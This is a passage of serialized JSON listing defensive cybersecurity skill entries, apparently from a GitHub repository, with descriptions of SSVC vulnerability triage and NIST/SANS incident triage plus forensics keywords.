kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":246,"name":247,"nameZh":6,"description":248,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":249,"categories":250,"keywords":252,"publishedAt":55},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[251],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[52,253,254,53,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":272,"name":273,"nameZh":6,"description":274,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":275,"categories":276,"keywords":278,"publishedAt":55},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[277],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[54,279,53,280,281,282,283,284,285,286,287,214,288,215,289,290,291,292,293,294],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]